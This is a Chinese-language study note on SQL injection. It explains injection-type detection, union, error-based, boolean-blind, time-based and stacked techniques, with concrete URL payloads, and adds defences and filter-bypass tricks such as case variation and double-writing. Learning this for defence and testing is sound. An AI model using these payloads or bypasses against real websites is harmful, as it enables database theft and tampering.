原理:
前端用户的输入拼接到了 后端的sql语句中打断了原有sql语句含义,造成了数据的泄漏。
类型:
字符型
我们进行加减看是否会有变化如果进行逻辑运算则就是数字型否则就是字符型。
?id=1'
输入?id=1'页面和输入?id=1+1'页面是否一致,如果一致是字符型。
?id=1+1
判断属于字符型
数字型:
发现页面更改,判断是数字型。
?id=2
输入?id=2页面和输入?id=2-1页面,两个页面不一致,那么?id=2-1的也页面进行逻辑运算
?id=2-1
判断属于数字型
手法:
联合查询:
关键字:union select
利用union select 语句,同时执行两条语句
?id=3 UNION SELECT 1,2,database(),4;
报错注入:
关键字:updatexml extractvalue
在判断过程中,发现数据库中的SQL语句报错,显示在页面中
?id=1' and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
extractvalue()
updatexml()
?id=1' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
布尔盲注:
关键字:length()
要对内容进行判断,此时页面正常,数据库名长度是8 。
?id=2' and length(database())=8 --+
延时注入:
关键字: sleep()
查询超过数据库名长度显示出错。
堆叠注入向
?id=1' ;insert into users(id,username,password) value (123,database(),'123456789') --+
?id=123
危害:
数据库信息泄露
网页篡改
网站被挂马,传播恶意软件
数据库被恶意操作
服务器被植入后门
破坏硬盘或者服务器等硬件设备
防御:
关闭应用的错误提示
加waf
对输入进行过滤
限制输入长度
限制好数据库权限,drop/create/truncate等权限谨慎grant
黑面单union select
绕过:
大小写绕过
双写绕过
使用 ||(or) 和 &&(and) (使用时进行URL编码%26)
–+注释 +代替空格